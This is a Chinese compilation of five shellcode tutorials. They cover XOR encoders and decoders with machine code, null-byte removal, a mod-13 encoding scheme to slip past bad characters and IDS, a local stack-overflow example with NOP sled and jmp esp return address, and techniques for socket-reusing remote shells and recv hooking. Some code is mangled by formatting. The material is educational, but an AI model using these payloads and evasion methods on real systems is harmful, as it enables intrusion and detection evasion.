Shellcode学习之编写shellcode补完
“zhh”通过精心收集,向本站投稿了5篇Shellcode学习之编写shellcode补完,以下是小编为大家整理后的Shellcode学习之编写shellcode补完,仅供参考,欢迎大家阅读。
篇1:Shellcode学习之编写shellcode补完
看来我真是个菜虫,写栈溢出例子程序的时候才发现自己写的shellcode的问题,这么简单的问题我怎么就没想到呢?看来我真是菜,
什么问题?唉,上篇的shellcode中有那么多0x00这种特殊的字符,strcpy能执行完全才怪!好,今天来个补完,谈谈shellcode编码问题。编码是正是为了去除shellcode中特殊字符串的问题,方法大概有异或法,直接替换法和拆分法,我是菜虫我用异或法。
异或法就是简单地将shellcode异或。
void Encode(char *Sc)
{
int i,j;
int EnKey=0x99; //与之异或的值
char msg[4];
for(i=0;i<54;i++)
{
Sc[i]=Sc[i]^EnKey;
}
for(i=0;i<54;i++)
{
sprintf(msg,“”x%.2X“,Sc[i]&0xff);
for(j=0;j<4;j++) printf(”%c“,msg[j]);
}
printf(”“n”);
}
很简单吧,这样就完成了shellcode的xor编码了。再看看怎么解码,我用汇编写了一小段,方便提取机器码。
_asm{
mov ebx,esp
mov dl,99h //dl is the key
mov cl,57 //cl is the shellcode's lenth
Dencode_loop:
xor [ebx + 0Bh],dl
inc ebx
loop Dencode_loop
}
我想了想我这个解码方法不是太好,因为要先知道shellcode的长度,我看了看别人写的解码觉得不错,
jmp Decode_end
Decode_start:
pop edx // 得到解码开始位置 esp -> edx
dec edx
xor ecx,ecx
mov cx,0x200 //要解码的 EnShellCode, 长度0x200应该足够
Decode_loop:
xor byte ptr [edx+ecx], 0x97 // 因为编码时用的Key是0x97,所以解码要一样
loop Decode_loop
jmp Decode_ok
Decode_end:
call Decode_start
Decode_ok:
这样就可以不用知道shellcode的长度了。
写完解码程序后提取一下解码的机器码:“”x8B“xDC”xB2“x99”xB1“x39”x30“x53”x0C“x43”xE2“xFA”;
这样我们重新构造我们的shellcode
shellcode[ MaxSize]的结构大致为:要覆盖对象缓冲区大小 + ret值(也就是指定的系统jmp esp) + 解码程序 + 编码后的shellcode。还可以在解码程序前增加若干nop指令以减少计算不准出现的错误。
现在我说说自己遇到的问题,这个应该是难点。1。我怎么知道解码程序该从哪个位置解码呢?出现这个问题的原因是我还是没有对压栈情况有清楚的认识。其实很简单,这个问题明天讲,因为牵扯到栈溢出的原理。2。怎么让shellcode正确返回,这个问题仍在解决中,汗~~
总之,我们知道了shellcode基本编码过程和解码过程,shellcode的基本框架就是如此了,我分析了几个shellcode,果然是这样的。调试的时候很好玩,在解码的时候,后面的shellcode一个个的还原出了真实的面目了。
到此,shellcode已经基本完毕,以后的工作是深入地理解溢出了,争取为以后的漏洞分析与挖掘打下基础。
篇2:shellcode之三:shellcode编写
声明:主要内容来自《The Shellcoder's Handbook》,摘录重点作为笔记并加上个人的一些理解,如有错,请务必指出,
系统调用
Shellcode是一组可注入的指令,可在被攻击的程序内运行。由于shellcode要直接操作寄存器,通常用汇编语言编写并翻译成十六进制操作码。我们想让目标程序以不同与设计折预期的方式运行,操纵程序的方法之一是强制它产生系统调用。
在Linux里有两种方法来执行系统调用。间接的方法是libc,直接的方法是用汇编指令调用软中断执行系统调用。在Linux里,程序通过int 0x80软中断来执行系统调用,调用过程如下:
1、把系统调用编号载入EAX;
2、把系统调用的参数压入其他寄存器;最多支持6个参数,分别保存在EBX、ECX、EDX、ESI、EDI和EBP里;
3、执行int 0x80指令;
4、CPU切换到内核模式;
5、执行系统函数。
如何得到一个shellcode
注意两点:
1、shellcode应该尽量紧凑,这样才能注入更小的缓冲区;
2、shellcode应该是可注入的;当攻击时,最有可能用来保存shellcode的内存区域是为了保存用户的输入而开辟的字符数组缓冲区。因此shellcode不应包含空值(/x00),在字符数组里,空值是用来终止字符串的,空值的存在使得把shellcode复制到缓冲区时会出现异常。
下面以exit系统调用为例写一个shellcode。exit()的系统编号为1。用汇编指令实现
Section .text
global _start
_start:
mov ebx,0
mov eax,1
int 0x80
用nasm编译生成目标文件,然后用GNU链接器链接目标文件,最后用objdump显示相应的操作码(下图的标号为_start部分)
sep@debian66:~/shellcode$ nasm -f elf shellcode.asm
sep@debian66:~/shellcode$ ld -o shellcode shellcode.o
sep@debian66:~/shellcode$ objdump -d shellcode
shellcode: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: bb 00 00 00 00 mov $0x0,%ebx
8048085: b8 01 00 00 00 mov $0x1,%eax
804808a: cd 80 int $0x80
sep@debian66:~/shellcode$
shellcode[] = {“/xbb/x00/x00/x00/x00/xb8/x01/x00/x00/x00/xcd/x80”},可以发现里面出现很多空值,基于shellcode的可注入性,我们需要找出把空值转换成非空操作码的方法,
有两种方法:
1、直接用其他具有相同功能的指令替换那些产生空值的指令;
2、在运行时用指令加上空值。
第2个方法比较复杂,暂时先讨论第1个方法。根据objdump的结果,发现mov ebx,0和mov eax,1均产生空值。了解汇编语言的话,可修改为以下代码
view plain
Section .text
global _start
_start:
xor ebx,ebx
mov al,1
int 0x80
编译、链接、反汇编.text段
sep@debian66:~/shellcode$ nasm -f elf shellcode.asm
sep@debian66:~/shellcode$ ld -o shellcode shellcode.o
sep@debian66:~/shellcode$ objdump -d shellcode
shellcode: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: 31 db xor %ebx,%ebx
8048082: b0 01 mov $0x1,%al
8048084: cd 80 int $0x80
sep@debian66:~/shellcode$
可以看到shellcode的空值消失了,长度也减少了。该shellcode是可注入的。
派生shell
如何写一个派生shell的shellcode,参考原书P39,这里不详述。我现在只需对shellcode的获取有个大致的了解,实现时再看细节。
作者 AZURE
篇3:Shellcode学习之定制自己的shellcode
F.Zh这个名字被女友无情枪毙,以后这个系列就换成沙布拉尼尔为大家介绍了,
定制自己的shellcode无非是两个原因:exploit的特殊要求,或者是逃脱各种杀毒软件或者IDS什么的。上次说了一个把shellcode先拆分然后再组合,其结果是会加长shellcode的字节一倍左右,这次再来说说其他的方法,难度可能稍微大一些,但是相应的效果会更好。
在这里依然作一个约定,首先,shellcode是在原来的基础上修改,也就是说,我们只考虑编码的方式,而具体的shellcode编写方法,外面其实已经有介绍了;其次,shellcode一般分为前面的decode部分和后面编码过的真正起作用的部分,没有特殊的说明,文中出现的shellcode 都指后面一部分。
依然以一个具体的要求来作为引子,我们一步一步地去构造。假设我们需要的shellcode长度不能超过500字符(这个其实已经很宽松了),而且只能作为非大写字母的文件名,也就是意味着我们不希望有小写字母、点号、星号、问号还有左右斜杠等出现。总的来说,这还是算一个比较苛刻的条件,如果没有长度的限制,上面一篇文章已经能够很好的解决了,这里对长度的要求有点死,我们来试试看其他的路子。
倘若将起作用的shellcode看成一个没有规律的字符串,首要的一个工作是用一个较为简单的算法(之所以说要较为简单的算法,是为了解码部分的编写工作量不至于太大),把这个乱七八糟的字串编码,以避开那些禁用的字符。从可操作性上而言,用异或的方法无疑是最快最好的,因为异或操作映射后的结果比较发散,相比单独的与或操作可以得到的结果更多,更重要的是这是一个可逆的运算,便于我们还原。我记得上次说过如果shellcode依次与多个字符异或,那么出现特殊字符的几率将会大大的减小,对于这样的说法,我们做理论分析如下。
下面我们来看这种字符串等价划分方法。
用图表示一下这个等价划分方法是这样的,其中SSSS表示原来的shellcode,abcd表示标识。
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS...
----------------------------------------------------
abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcda...
如果是一个模四的等价划分,即为所有原来字符第0、4、8……个字符重新排列成一个字符串(也就是所有标识为a的S),而第1、5、9……个字符重新排列成另一个字符串(标识为b的S),以此类推。这样划分出来的若干个字符串,相对来说是独立的,可以单独的进行运算而互相不影响。
需要说明的是,一般的编码方法只是考虑不要出现结束符“”x00“就可以,如果要使得编码后不出现上面这么多的字符,只和一个简单字符做异或运算能成功的几率还是比较小的。考虑一个足够长而且字符分布均匀的字串,进行等价划分后得到的字串和原来应该还是有着相似的性质,即同样分布均匀而且异或任何一个字符后的结果还是几乎覆盖了全部字符(不用证明了吧……),但事实上shellcode的长度有限而且内容相对固定,所以采用等价划分的方法后取出的每个字符串,在与某个字符异或后的结果在全部ASCII字符中的分布情况肯定相对集中而且稀疏(有很多不会出现),一旦所有禁用字符都没有出现,这个划分就应该是成功的。而且显而易见的,等价子串的长度越小,这种划分成功的几率越大。
关于这个结论,还有一个更加直观理解方法。我们始终假设字符串的分布均匀,所有的ASCII码总共是255个(抛开不能用的0x00),长度为300的字符串经过异或以后分布肯定还是比较均匀的,但是一个只有8个字符的字串异或后就很有可能最多只有8个不同字符,不出现禁用字符的可能性相当大。
上面所有的讨论都是理论上的,对于出现的几率,分析的时候可以说“很大”或者“很小”,然而具体的设计中只有成功或者失败,即使很小的概率也不能保证成功,现实世界一个特点就是小概率事件往往还是会发生(就象我被三楼扔下来的篮球砸到过一样),不做做看是不晓得的。
划分等价类的时候,要决定划分的依据是模几,这个数字虽然说是越小越好,但是还是要实际的去选择,先写个程序来选择一下,当然,选择的标准是,划分后每一个子串都可以与某个字符异或而不产生禁用的字符。
1 for(int wokao=0; wokao
2 {
3 printf(”%d :“,wokao);
4 int ko=(sizeof(sc)-1)/para;
5 for(int i=0; i 6 p[i] = sc[i*para+wokao]; 7 for(i=1; i<255; i++) 8 { 9 for(int j=0; j 10 if(inbadchar(p[j]^i)) 11 goto l; 12 playboy = i; 13 if(!inbadchar(playboy)) 14 { 15 printf(”0x%0.2x,“, playboy); 16 temps[wokao] = playboy; 17 } 18 exit(0); 19 l:; 20 } 21 printf(”“n”); 22 } 这个微小的片断可以描述我们选择的依据。参数para作为我们划分等价子串的标准,在写出具体的判定程序时候,最好能是一个动态确定的数。ko是每一个子串的长度,在内层的第一个for循环中,ko作为循环的长度,依次把原来shellcode中的数据取到临时一个串p[]里面去,每一次大的循环取一条子串,当外层循环做完的时候,一个划分也完毕了。 从第7行开始,是一个划分是否成功的判断。前面说过,成功的必要条件是这个子串能够与某一个字符异或而不出现特殊字符,9行到11行就是做这个工作的。 12行记录下这个字符即playboy,如果整个子串与playboy异或而不产生特殊字符,那么这一个子串是完美的,如果所有的子串都完美,那么这个划分就是完美的。 细心的你也许发现了一个问题,为什么还要判断playboy是否是禁用字符呢?其实这是为了以后的考虑,因为编码后的shellcode满足要求只是我们完全成功的一个必要条件,另外一个必要条件是解码部分也不能出现禁用的字符。一般来说,playboy这些字符在解码部分会原封不动的出现(XOR指令编译成机器码后),我们固然可以用寄存器加上运算的方法来避免,但是这样的工作量太大,已经远远的超出了我们的想象。 在多次修改para的值以后,你会发现最好的数字是13。其实很多情况下我们只要知道这个数字就可以了,上面很多分析只是提供思路上的一个说明,告诉人家这个数字怎么得到而已。我们可以想象,para这个数字很小的话,便于解码部分的书写,如果太大的话,shellcode编码后的数据产生禁用字符的可能性减小了,但是解码部分又太难书写,折衷下来,还是7或者13比较好。当然,这是经验性质的,遇到特殊情况,你还是要自己算。在计算的时候,有些有趣的结论可以在这里说一下,如果你发现para为N的划分可以满足要求的话,那么N的倍数的划分肯定是可以的,而反之则不然,所以最好从小往大去试那个 para。 那么,我们以13作为等价划分的标准做一个例子,其他划分标准原理是一样的。 以13为划分标准的话,首先,我们的shellcode被我们分成了13个子串。按照下图所表示,相同子母标识的在同一个子串中,相应的与不同的字符异或。 SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS... --------------------------------------------------------- abcdefghijklmabcdefghijklmabcdefghijklmabcdefghijklmab... 可以看到,动态的把原始的shellcode编码以后,进行解码的时候是一个长度为13的循环解码过程, 上面那段小程序把para改为13就是完整的动态编码,最后在temps这个字符串中,记录的结果是这13个满足条件的异或字符,用直观的表来表示的话,我们假设原始的shellcode是ssss,编码后的shellcode是tttt,而满足条件的异或字符是a~m,下面就是编码的过程: ssssssssssssssssssssssssssssssssssssssssssssssssssssss... XOR) abcdefghijklmabcdefghijklmabcdefghijklmabcdefghijklmab... -------------------------------------------------------------- tttttttttttttttttttttttttttttttttttttttttttttttttttttt... 异或的可逆性决定了其逆向解码的过程是: tttttttttttttttttttttttttttttttttttttttttttttttttttttt... XOR) abcdefghijklmabcdefghijklmabcdefghijklmabcdefghijklmab... -------------------------------------------------------------- ssssssssssssssssssssssssssssssssssssssssssssssssssssss... 由于固定了等价划分的标准是13,上面的程序可以帮助我们生成满足条件的异或字符(表示为a~m的)。剩下的工作是来看解码的部分如何手工的编写。 我们的个人计算机通常字长是32位的,也就是说是4个字节长,如果是要依次与13个字符循环进行异或运算,除了比较通用的嵌套循环的方法外,我们可以单用一层循环(这样比较好控制),即把这13个字符拆成三个四字节长的整数和一个单字节的字符,每循环一次就用这些东西和编码后的shellcode异或运算一次。 根据《定制自己的shellcode(一)》中所给的解码部分的模版,很容易写出解码部分如下: _asm { jmp short getaddr dstart: pop ebx xor ecx, ecx mov cx, 0x112 xor esi, esi decode: xor DWORD ptr [ebx+esi], 0xD4FDFBE7 add esi, 4 xor DWORD ptr [ebx+esi], 0xFBE7FCF4 add esi, 4 xor DWORD ptr [ebx+esi], 0x61FA72F9 add esi, 4 xor [ebx+esi], 0xF4 add esi, 1 nop loop decode jmp short scstart getaddr: call dstart scstart: nop } 和以往一样,用一个jmp和一个call来获得编码后的shellcode开始位置。cx是控制循环次数的,按道理最少应该是shellcode的长度除以13,这里为了方便,就固定下来一个数字。esi用来控制偏移量,也就是控制解码到了shellcode的第多少个字符。后面从decode:开始的段就是上面说的那种方法,依次与三个四字节长的整数和一个单字节的字符运算解码。值得注意的是,这里的操作数不是固定的,按照我们前面所述,这一串的操作数都是动态生成的,在编写程序的时候是要动态的填入,所以这里先是随便写了一些数字,只要确定一下位置就是。 编译后可以收集一下,这一段代码的机器码就是: “”xeb“x33”x5b“x33”xc9“x66”xb9“x12”x01“x33”xf6“x81”x34“x33”xe7“xfb”xfd“xd4”x83“xc6”x04“x81”x34“x33”xf4“xfc”xe7“xfb”x83“xc6”x04“x81”x34“x33”xf9“x72”xfa“x61”x83“xc6”x04“x80”x34“x33”xf4“x83”xc6“x01”x90“xe2”xd8“xeb”x05“xe8”xc8“xff”xff“xff”; 四个需要动态确定的常量在这一段代码中的偏移分别是14,24,34和44。 写到这里发句牢骚,decode部分无疑是要精心构造的,但是这偏偏是一个非常费体力的活动,没有什么技巧,就是道理简单运算复杂。我在这里只是单纯给出这一段,因为方法前面已经反复说过,而且麻烦的是具体做起来是不可能手把手的去教。老吴子叫我给录像,我的个歪歪(请用扬州普通话读),我这么笨的菜鸟调一个shellcode超过了8小时,且不说录像后的文件多大,录下来了是否有人看都是一个大大的问题――反正如果是我的话,有时间还不如去看三场电影! 扯远了。言归正传,编码和解码的架子都已经搭好,剩下的就是组装,前面有了怎样计算那些个异或字符的代码片断,收集起来写到解码部分,解码部分就已经完整,为了方便调用起见,这个我写成了一个函数。 void MakeDecode(int i, int j, int k, unsigned char l) { *(int*)(de+14) = i; *(int*)(de+24) = j; *(int*)(de+34) = k; *(de+44) = l; } 三个变量i,j,k是头十二个字符,l是最后一个字符,这个函数可以完成解码部分的填充工作。前面说到,计算出来的变量在temps[]里面,拿出来调用这个函数即可。 shellcode部分也要预先与temps[]这个串异或运算以逃脱禁用的字符。这部分工作也是依据temps[]来进行的,其实和解码部分的工作一模一样(说白了,就是因为相同的异或做两遍就还原了)。代码稍微长了点,好在算法比较容易,可以参见光盘里面的代码。另外,这一段其实可以在计算temps []的过程中就做掉,不过为了便于理解,我将他们分开了。 说到这里这个算法差不多就已经算是完了,几个重点的问题已解决,只要把解码部分和编码后的shellcode部分连接在一起就成功的完成了所有的任务。完整的可用代码我会在光盘里面一并给出,按照main中的用法,就可以直接构造变态要求的expoit。对于禁用字符的定义,在源代码的badchar中给出了一些,你也可以在一定程度上进行修改,但是不要太过分了,太多字符不能出现的话,这个构造shellcode的方法是会失败的。 在上一篇文章的最后我提到过这种方法,里面说的是倾向于标准为四或者是八的划分,想来是臆断了,实际的情况是这个数字通常在七到十七之间。剩下没有解释的代码都很简单,大家可以直接拿来用而不用去管。其实这两篇文章都是关于shellcode的一些想法和简单的算法,我也只是有点心得就写了出来,让高手见笑了。另外,如果你有什么更好的想法,也希望你能够写出来与我们共享
篇4:Shellcode学习之栈溢出原理初探介绍
无聊中就写写栈溢出的原理吧,我也是小菜鸟,请大家见谅。我将结合前两次得到的shellcode结合一个很小的本地溢出例子程序来模拟一次简单的溢出,得到一个最基本的溢出模型。
栈溢出是利用c语言对一些字符串操作不检查边界的结果,比如strcpy,strcat等等,简单地讲就是自己设置的字符串覆盖掉了程序的栈结构而导致的程序不能按照设想的状况执行。
看一下调用子程序的压栈顺序:
比如:
SubProcess proc
.................
.................
SubProcess endp
start::
...............
...............
call SubProcess
addr 1-> ...............
ends
压栈顺序是这样的:
______
高地址 | _ret__ | <--也就是addr1
|_ebp__|
|.....buf...| buf是子程序所需字符串的大小
低地址 |______|
你肯定知道windows下栈是向下生长的,和内存正好相反。
那么我们现在要做什么呢?我们需要利用c语言不检查边界的缺陷,经过一定的计算覆盖掉addr1,将addr1换成我们设置好的shellcode的执行地址,也就是说子程序将不能正确返回,程序的流程被打乱了。比如现在buf为256字节,如果我们给它强行拷贝264字节就会覆盖到ret地址。
难点:ret地址应该填什么?
这是个困扰我大半天的东西,其实很简单,原因还是没对压栈了解清楚。我们构造的字符串对原串进行了溢出覆盖掉了ret,当子程序最后出栈ebp(也已经被改写了)后执行ret时会跳向我们的shellcode。好,看一下执行ret后的esp指向哪里,不就是ret上一个栈地址吗?也就是我们的 shellcode的呀!!也就是说只要我们想办法跳到esp处,我们就能执行shellcode了!!这时我们需要在系统里随便找到一个jmp esp指令即可,这个根据不同的系统往往不同,所以如果你对你的目标有了一定的了解后就很好办了。
以win和winxp为例,我们可以用调试器搜索一下EEF4(jmp esp)找到一个合适的地址,
我得到的0x7ffa4512,这个地址填入到ret就可以了。
好,看一下例子程序吧。
#include
#include
#include
char DenCode[ ]=“”x8B“xDC”xB2“x99”xB1“x39”x30“x53”x0C“x43”xE2“xFA”;
char ShellCode[ ]=“”x12“x75”xAA“x59”xC9“x1A”x75“x9D”x5F“xDC”x61“xFA”x5F“xDC”x60“xF4”
“”x5F“xDC”x63“xFD”x5F“xDC”x62“xB7”x5F“xDC”x65“xFC”x5F“xDC”x64“xE1”
“”x5F“xDC”x67“xFC”x21“x98”x99“x99”x99“xC9”x14“xDC”x61“xC9”x23“xD4”
“”x88“x1F”xE5“x66”x4B“x50”; //encrpted
char eip[]=“”x12“x45”xfa“x7f”;
char buf[500];
void OverFlow(char *p)
{
char Buffer[256];
printf(“Here is the overflowpoint:”n");
strcpy(Buffer,p);
}
void main
{
int i,Len; //Len=41
Len=strlen(ShellCode);
for(i=0;i<260;i++)
buf[i]=0x90;
memcpy(buf+260,eip,4); //ret
memcpy(buf+264,DenCode,12); //Dencrpt code
memcpy(buf+276,ShellCode,Len); //shellcode
OverFlow(buf);
}
就是这样,如果你对敌人程序相当地了解,你就动手挖掘它可能存在的溢出点吧,但是挖掘的过程才是最显功力的过程。
这是本地溢出了,下一步看看远程溢出。
篇5:透析 攻击技术之渗透防火墙的Shellcode漏洞预警
内容摘要
1. 远程shellcode的几种实现方式
2. 复用当前连接技术的一些问题及优势
3. Win32平台的具体实现
4. Linux x86平台的具体实现
5. AIX PowerPC平台的具体实现
实现方式简介
1. 远程shellcode的几种实现方式
1.1 监听端口
1.1.1 监听新的端口
1.1.2 重新使用原端口
1.1.2.1 端口复用
1.1.2.2 重新绑定
1.2 反向连接
1.3 复用当前连接的SOCKET
1.3.1 IIS的ECB结构
1.3.2 getpeername
1.3.3 fcntl设置socket状态
1.3.4 ioctl(Linux/Unix)和ioctlsocket(Win32)
1.3.5 使用OOB特性
1.3.6 Hook系统的recv调用
复用当前连接技术介绍
2. 复用当前连接技术的一些问题及优势
2.1 绑定shell
Unix下可以直接把SOCKET作为“/bin/sh”的输入输出句柄,在Win32下,socket()函数隐式指定了重叠标志,它创建的SOCKET是重叠套接字(overlapped socket),不能直接将cmd.exe的stdin、stdout、stderr转向到套接字上,只能用管道(pipe)来与cmd.exe进程传输数据。winsock推荐使用重叠套接字,所以实际使用尽可能用管道。WSASocket()创建的SOCKET默认是非重叠套接字,可以直接将cmd.exe的stdin、stdout、stderr转向到套接字上。
复用当前连接技术介绍
2.2 多线程环境搜索SOCKET
-=-=-=-=-=- start sample code =-=-=-=-=-=-=
s = WSASocket(2,1,...)
bind(s,..)
listen(s,...)
s2 = accept(s,....)
-=-=-=-=-=- end sample code =-=-=-=-=-=-
当s处于accept状态时,任何对s操作的网络函数都会处于等待状态,直到有连接建立。先用WaitForSingleObjectEx处理句柄,当s处于accept状态时会返回WAIT_TIMEOUT,可用的句柄返回WAIT_OBJECT_0.然后再用ioctlsocket/recv处理判断是否当前连接的socket.
复用当前连接技术介绍
2.3 优势
复用当前连接的技术相对较隐蔽,而且对于Win32的用管道绑定cmd.exe后,和服务器交互的数据可以用xor的办法进行编码,进一步躲避IDS的检测。单单查找SOCKET的shellcode可以写的相对比较短,在找到SOCKET后,可以再继续接收一段功能更复杂的shellcode到缓冲区,然后跳入执行。对于该后续shellcode就没有任何字符和长度的限制。甚至接收一个dll文件,实现更复杂的功能。
Win32平台的具体实现
3. Win32平台的具体实现
3.1 端口复用具体实现
端口复用shellcode要求服务重新绑定在0.0.0.0地址,而且不能使用SO_EXCLUSIVEADDRUSE选项。
客户端攻击的时候需要把服务端的具体IP和端口写入shellcode里面。
Shellcode里执行:
setsockopt(s, 0xFFFF, 4, &d, 4);
bind(s, &sockaddr, 0x10);
用netstat -na在服务端查看可以看到同一个端口有0.0.0.0和具体IP两个绑定着。如果服务端在NAT环境里,可能会存在问题。
Win32平台的具体实现
3.2 重新绑定原端口的实现
CreateProcess()创建一个suspend模式的进程。GetThreadContext()来获得该线程的上下文结构和寄存器信息。用VirtualAllocEx()在该进程里分配内存。把shellcode指令用WriteProcessMemory()来写入该进程刚才分配的空间。SetThreadContext()把GetThreadContext()获得的EIP修改指向VirtualAllocEx()分配的内存地址。ResumeThread()恢复suspend模式的进程。TerminateProcess(-1, 0)终止当前进程。循环绑定原来端口。
Win32平台的具体实现
3.3 getpeername查找socket
客户端在发送攻击串之前用getsockname函数获得套接字本地信息,把相应信息写入shellcode.服务端shellcode从1开始递增查找socket,并且用getpeername函数获得套接字远程信息。如果两个信息相符就认为找到socket,跳出递增循环,并且把shell绑定在这个socket上。有很大局限性,如果客户端在NAT网络环境里,客户端getsockname取得的套接字信息和服务端getpeername取得的套接字信息不一定相符,导致查找socket失败。
Win32平台的具体实现
3.4 字串匹配查找socket
客户端在发送完攻击数据包后,再发送几个字节的字符串,在服务端的shellcode对一个递增的socket值接收相应字节的字符串,然后匹配是否是当前连接的socket.这种方法避免了getpeername在NAT网络环境里的限制。多线程环境下容易处理到处于accept下的socket,一般的网络函数都会进入等待状态,直到有连接建立。flier提到WaitForSingleObjectEx处理这种处于accept的socket会返回WAIT_TIMEOUT,可用的句柄返回WAIT_OBJECT_0.
Win32平台的具体实现
3.4 字串匹配查找socket
查找流程如下:
while (1)
{
i++;
ret = WaitForSingleObjectEx(i, 10, 1);
if (ret != 0) continue;
ret = ioctlsocket(i, FIONREAD, &ul);
if (ul != 4) continue;
recv(i, buff, 4, 0);
if( *(DWORD *)buff == 'Xc0n') goto shell;
}
bkbll测试发现socket()函数创建的句柄在accept用户后有getsockname操作,那么后续WaitForSingleObjectEx返回WAIT_TIMEOUT (0x102),
Win32平台的具体实现
3.5 Hook系统的recv调用
用VirtualProtect设置真实recv函数地址开始的5个字节为可写。把真实recv开始的指令改为跳转到新recv函数。在新的recv函数里先把这5个字节指令改回去。调用真实recv来执行系统本来的操作。再把真实recv函数地址开始的5个字节改为跳转新recv的指令。比较接收的数据是否是约定字串,如果是就绑定一个cmd.exe,否则跳到压栈的返回地址,继续系统原来的流程。这种方法能绕过rpc之类机制,也能够搜索再次连接的socket.
Win32平台的具体实现
3.6 文件上传下载功能的实现
必须要客户端和shellcode做紧密配合。上传文件需要客户端打开并读取文件发送给服务端,服务端的shellcode创建并写入该文件。下载文件需要服务端的shellcode打开读取文件发送给客户端,客户端创建并写入该文件。由于是非阻塞的连接,上传文件的时候,服务端的shellcode必须判断socket里是否还有数据可接收,如果没有就关闭句柄,执行后续流程。下载文件的时候,客户端必须判断socket里是否还有数据。select和ioctlsocket都可以实现这个功能。select的汇编实现相对复杂,ioctlsocket需要在发送缓冲块大于接收缓冲块的情况下使用。
Win32平台的具体实现
3.6 文件上传下载功能的实现
客户端和服务端shellcode可以使用一个约定的key对传输的数据做xor操作,由于用管道绑定cmd,那么交互的命令也是编码的,进一步增强隐蔽性,躲避IDS的检测。
Linux x86平台的具体实现
4. Linux x86平台的具体实现
4.1 fcntl设置socket状态
scz最早使用这种方法,基本思路如下:
while (1)
{
i++;
ldflags = fcntl(i, F_GETFL, 0);
fcntl(i, F_SETFL, oldflags | O_NONBLOCK);
read(i, buf, 4);
fcntl( i, F_SETFL, oldflags );
if (buf == 'Xc0n') goto shell;
}
Linux x86平台的具体实现
4.2 利用OOB特性
bkbll最先使用该技术。Berkeley套接口的实现OOB数据一般是不会被阻塞的,查找的流程大致如下:
while (1)
{
i++;
recv(i, buf, 1, 1);
if (buf == 'I') goto shell;
}
Unix/Linux该方法最是简单易行,而且有效。
Linux x86平台的具体实现
4.3 利用ioctl函数的一些特性
ioctl的FIONREAD可以判断句柄有多少数据可读,而且一般情况不会被阻塞。查找socket的流程大致如下:
while (1)
{
i++;
ioctl(i, FIONREAD, &ul);
if (ul != 4) continue;
read(i, buf, 4);
if (buf == 'Xc0n') goto shell;
}
Linux x86平台的具体实现
4.4 文件上传下载功能的实现
和Win32实现相似,只是Linux/Unix下似乎没有额外通过管道来绑定/bin/sh,所以shell里交互的数据无法编码处理。隐蔽性可能较差。
AIX PowerPC下具体实现
5. AIX PowerPC平台的具体实现
缓存机制
instruction cache
data cache
AIX PowerPC下具体实现
PowerPC自修改的代码按照如下的步骤:
存储修改的指令。
执行dcbst指令,强制包含有修改过的指令的高速缓存行进行存储。
执行sync指令,确保dcbst完成。
执行icbi指令,使将要存放修改后指令的指令高速缓存行无效。
执行isync指令,清除所有指令的指令管道,那些指令在高速
缓存行被设为无效之前可能早已被取走了。
现在可以运行修改后的指令了。当取这个指令时会发生指令高速缓存失败,结果就会从存储器中取得修改后的指令。
AIX PowerPC下具体实现
有些AIX是没有高速缓存管理指令。
简单的解决方法是做完自修改后执行一个系统中断,那么后面就能正确执行自修改后的指令。
实现解码shellcode,为实现复杂shellcode做好基础。
AIX PowerPC下具体实现
5.1 利用OOB特性的实现
和Linux x86的实现类似
难点:
各版本AIX的系统调用号都是不相同的,导致exploit不通用。
【Shellcode学习之编写shellcode补完】相关文章:
2.补完计划
3.学习编写童话
6.编写儿童故事
7.商业计划书编写
9.编写童话故事的
10.怎样编写教案






文档为doc格式